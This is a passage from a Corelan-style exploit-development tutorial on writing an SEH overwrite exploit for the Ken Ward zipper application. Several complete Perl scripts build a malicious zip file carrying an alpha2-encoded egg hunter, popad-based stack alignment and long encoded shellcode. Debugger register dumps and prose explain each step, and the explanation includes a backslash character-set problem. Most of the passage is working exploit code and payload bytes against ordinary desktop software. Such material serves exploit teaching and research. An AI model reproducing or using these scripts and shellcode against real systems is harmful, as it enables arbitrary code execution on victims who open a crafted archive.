"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

print "[+] Writing shellcode to file\n";
open(FILE,">c:\\tmp\\shellcode.bin");
print FILE $shellcode;
close(FILE);
print "[+] Wrote " . length($shellcode)." bytes to file\n";

Create the new zip file, then trigger the overflow again.  Allow pop pop ret to kick in, and step through until you land back at nseh. (Which still contains the jump back code). Don’t execute the jump back code yet, but instead of that, run the following command :

!pvefindaddr compare c:\tmp\shellcode.bin

image

That’s great news.  Our shellcode was found in memory and it was not modified. So if we can make a jump to that location, we have a good chance of getting it to execute.

Just keep in mind that the address where the shellcode has been found, will most likely not be static/reliable.  So in order to be safe, we’ll have to use an egg hunter.

stop and think

Back to our initial question : what can and will we do with the jump back code at nseh ?

Answer : we need to write an egg hunter in the first part of the buffer (first part = part before overwriting the SEH record), so we have to use the jump back as starting point to eventually jump to the egg hunter and let it do it’s magic work.

 

 

The Egg hunter

Before we can even think about running the egg hunter, we will have to take a couple of steps

  • we will need to encode the egg hunter (because we will place it in the buffer before overwriting SEH). We will use the alpha2 encoder for this.  This encoder will require us to prepare a register (make it point exactly to the first byte of the encoded egg hunter), and we will have to use that register as baseregister when encoding the hunter.   I decided to take edx for this purpose.
  • in order to set a register to the correct value (and jump to it to get the egg hunter to run), we will have to write some instructions. Unfortunately, these instructions are not character set compatible, so we will need to use a custom decoder for this.
  • This custom decoder will produce the instructions required to set the register (edx) to the correct value, and after the instructions were produced we need to get these instructions to execute. The easiest way to do so is by making esp point to a location directly (or almost) directly below the custom decoder, so when the decoder stops running, the decoded instructions would get executed right away.

Let’s start with encoding the egg hunter and placing it in the buffer. After all, we will need to have its base address so we can write the instructions that are needed to put this baseaddres into edx.

The egg hunter I will use is the one that uses NtAccessCheckAndAuditAlarm :

my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42".
"\x52\x6A\x02\x58\xCD\x2E".
"\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

We can encode it by

  • writing the egg hunter to a file first
  • feeding the binary egg hunter to alpha2

Script to write egg hunter to a file :

root@bt4:/pentest/exploits/alpha2# cat writecode.pl        
#!/usr/bin/perl
# Little script to write shellcode to file
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800

my $code=
"\x66\x81\xCA\xFF\x0F\x42".
"\x52\x6A\x02\x58\xCD\x2E".
"\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

print "Writing code to file code.bin...\n";
open(FILE,">code.bin");
print FILE $code;
close(FILE);

root@bt4:/pentest/exploits/alpha2# perl writecode.pl       
Writing code to file code.bin...

root@bt4/pentest/exploits/alpha2# 

Feed egg hunter to alpha2 :

root@bt4:/pentest/exploits/alpha2# ./alpha2 edx < code.bin 
JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIRFMQzjY
otOqRaBCZuRbxxMFNWLUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA

Now put this encoded egg hunter in the payload :

  • put egg hunter right after the $filename
  • modify the $junk length to take the egg hunter size into consideration
  • add the 2 egg hunter tags (“w00tw00t”) in front of the shellcode

 

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = $egghunter . "A" x ($offset - length($filename.$egghunter));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

print "[+] Writing shellcode to file\n";
open(FILE,">c:\\tmp\\shellcode.bin");
print FILE $shellcode;
close(FILE);
print "[+] Wrote " . length($shellcode)." bytes to file\n";

Create the zip file, trigger the crash in the debugger, let pop pop ret execute, and hold when you land at the jump back (at nseh). Don’t execute the jump back yet.

Look on the stack, and try to find the location where the egg hunter is located.  A few minutes ago we found the begin of our payload somewhere before 0x0013F58E, so we should find our egg hunter somewhere around that location :

image

Our egg hunter is located exactly at 0x0013F58E (which makes sense, because we basically wrote the egg hunter directly after the spaces, and that is the same location where our A’s were found a few moments ago)

Look at the registers :

EAX 00000000
ECX 00415A68 zip4.00415A68
EDX 7C9032BC ntdll.7C9032BC
EBX 7C9032A8 ntdll.7C9032A8
ESP 0013F00C
EBP 0013F0E8
ESI 00000000
EDI 00000000
EIP 0013F908
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -UNORM 96D9 073C0000 02201372
ST1 empty +UNORM 1F80 00000171 BF820DF6
ST2 empty %#.19L
ST3 empty +UNORM 00F9 00000171 BC6B12B8
ST4 empty +UNORM 5000 00000000 BF820D30
ST5 empty -UNORM FF98 00000000 F4424D64
ST6 empty %#.19L
ST7 empty %#.19L
               3 2 1 0      E S P U O Z D I
FST 0220  Cond 0 0 1 0  Err 0 0 1 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

 

stop and thinkHow can we now put 0x0013F58E into edx, in a reliable way ?  We cannot just hardcode the address into edx…

In order to make it reliably, we have to take a value from another register, a value that is put in the register by the application itself… and then add or sub an offset from that register until edx points to the desired value.

What if we take the value of EBP ?  It currently points at 0x0013F0E8. In order to get to 0x0013F58E, we need to add 1190 bytes to that address :

image_thumb13_thumb[1]

So that means that the instructions we need to execute in order to get the desired address into edx, and then jump to edx (to get the egg hunter to execute), could look something like this :

  • push ebp
  • pop edx
  • add edx,0x4A6
  • jmp edx

or, in opcode :

image_thumb151_thumb[1]

That’s 10 bytes of code that needs to be wrapped into a custom decoder.  Good deal.

 

Preparing the custom decoder : align esp

Before we can look at building the custom decoder (to reproduce those 10 bytes of code), we need to figure out how we can make the decoder write these instructions so we can execute them in a reliable way.

The custom decoder, as you will see (or as you have already seen in the quickzip exploits), uses push eax instructions to write the original code to the stack.  By making the stack pointer (esp) point at a location that sits below the decoder, the reproduced/original code gets executed when the decoder finishes running.

So before we get the custom decoder to run, we have to set esp to a good location first.

stop and think

How would you approach this ?  How can you, based on the current state of the registers and stack, make esp point to a good location ?

Go back to the debugger. We are still at the location where the code at nseh would trigger a jump back. 

image

When the jump back would be made, we would end up at 0x0013F8A2, which is 102 bytes before the current location :

image_thumb21_thumb[1]

At that moment, ESP will still point to the 0013F00C, which is way before the current EIP location. So when the jump back is made, we will have to put some “esp alignment code”, followed by the custom decoder.  The esp alignment code needs to make esp point to a location after the custom decoder. 

image38_thumb_thumb[1]Look back at the contents of the registers 2 screenshots ago.  None of the registers points to a good address in that perspective. So basically we cannot just take a value from an existing register and put that in ESP, because none of the registers contains a value that points to a location that would end up after the custom decoder.  

 

 

 

 

stop and think

What would you do in this scenario ?

 

Answer : if we look on the stack, we can see that the 5th address on the stack may help us out :

esp currently points at 0x0013F00C.  The 5th address from the top of the stack contains 0x0013F908 (which is the address of nseh – just fyi – doesn’t really matter that it’s nseh – only the address itself and how it relates to the location where the custom decoder will be placed is important)

That’s nice, if we can take this value from the stack and put it in esp after we made the jump back (at nseh) to 0x0013F8A2, then esp would point to an address (0x0013F908) that sits after 0x0013F8A2 (where the esp alignment code + custom decoder will be placed located).  

So that means that we can do this :

  • Jump back at nseh (to 0x0013F8A2), and land at some code that would
  • pop 5 values from the stack and make esp point at the 5th address, and then
  • execute the custom decoder which will push the reproduced code to the stack.  esp will point below the custom decoder, so when the custom decoder has finished :
  • the reproduced code will get executed and the jump to the egg hunter will be made

Sound fair, right ?

The total amount of code we can spend for the esp alignment code and the custom decoder = 102 bytes minus the 10 bytes of reproduced code (which will be pushed to esp at 0x0013F908).

Ok, what are the instructions we need to execute to align esp ?

we will simply do this :

  • pop eax (0×58) : takes first address from top of stack
  • pop eax (0×58) : takes second address from top of stack
  • pop eax (0×58) : takes third address from top of stack
  • pop eax (0×58) : takes fourth address from top of stack
  • pop esp (0x5c) : takes fifth address from top of stack and make esp point at it

0×58 = “X”.  0x5C = “\”.   When building the exploit for quickzip, we noticed that a backslash would not do any harm. So let’s give it a try.  

5 bytes of alignment code, 10 bytes of space for the reproduced code – that leaves us with 102 -5 – 10 = 87 bytes of available space for the custom decoder. Sound like a plan.

Let’s see if we can get esp to align first.  We will change the exploit code, so the last 102 bytes before nseh would contain

  • the esp alignment code
  • some E’s (to indicate the space we will have available for the custom decoder)
# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x58\x58\x58\x58\x5c";
my $decoder = "E" x (102 - length($espalign));
my $junk = $egghunter . 
   "A" x ($offset - length($filename.$egghunter.$espalign.$decoder));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$espalign.$decoder.$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

Create the zip file and load it into the application. Look at what it looks like before trying to trigger the crash :

image

Hmmm – that does not look as nice as it used to.  The “fake” filename sits before the backslash (0x5c) in the payload, so it is treated as a folder name.   The filename now contains EEEEEE’s (which is the space available for the custom decoder).

Attach the debugger and try to trigger the access violation :

image

“Couldn’t view file”… Ouch – it looks like the backslash broke our exploit.

stop and think

Damn.   How can we now make esp point to a good location if we cannot pop a new value into esp ?  It even doesn’t really matter if we have to make esp point to a location below or above the custom decoder, because in order to so so, we’ll still want to pop a new value into esp.

 

 

Fixing the esp issue

This is what I did.

Instead of using the “forbidden” pop esp command, which would put a new value directly into esp, I used instructions that would modify the value of esp.  A single pop or push instruction already influences esp, but we need to close a gap between the current address in esp (0x0013F00C) and a location below the custom decoder (let’s say 0x0013F908).  There are 2300 bytes between those 2 locations, and a single pop would increase the value at ESP with 4 bytes.

image_thumb27_thumb[1]

That would mean that we would need to write 2300 / 4 = 575 pop instructions.   Ok – can be done, but there is a faster way.  Where a pop instruction increases esp with 4 bytes, a popad instruction ( = 0×61, which is also a valid character) will increase it with 32 bytes at once. That means that we would only need 2300 / 32 popad instructions = about 72 popad’s. That’s more like it.

The issue we have is that, instead of 5 bytes of esp alignment code, we would now need 72 popad’s.  So after jumping back 102 bytes from nseh, there would not be enough space left to write our custom decoder before overwriting nseh.  We will take care of this in a minute.  First, it’s important to fully understand the impact of these changes.

A single popad would replace all values in all registers.   We had the idea to use the current value in ebp, put that into edx, and add 1190 bytes to edx, to make edx point at the start location of the egg hunter.

This, obviously, cannot be done anymore. After a single popad, the value in ebp will be gone.  So we will need to come up with another solution.  Before we can build that solution, we need to see what the registers and stack look like after 72 popad’s are executed.  

Furthermore, as stated earlier, we will replace the 5 esp-alignment code bytes with 72 popad’s, but there won’t be enough space left for the custom decoder.

So what we will do is jump back another 102 bytes and place our 72 popad’s about 204 bytes before nseh.  That should give us more space to place and run the custom decoder.

The “test” payload buffer would look like this :

  • fake filename
  • egg hunter
  • filler1
  • 72 popad’s
  • filler2 (up to 102 bytes)
  • jump back 102 bytes, to “72 popad’s”
  • filler3 (up to 102 bytes)

Total size of the payload buffer so far = 1022 bytes. Next, add to the buffer :

  • nseh (jump back to “jump back to 72 popad’s”)
  • seh
  • filler4
  • shellcode + “.txt”

Total size of the payload buffer = 4068 bytes

 

We will probably have to place the entire custom decoder at filler3, so at the end of filler2 we will have to jump to filler3 (to avoid ending up in a loop because of the jump back)

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 72;  #make esp happy
my $filler2 = "A" x (102-length($espalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $filler3 = "A" x (102-length($jmpback));
my $filler1= "A" x ($offset - length($filename.$egghunter.$espalign.$filler2.$jmpback.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
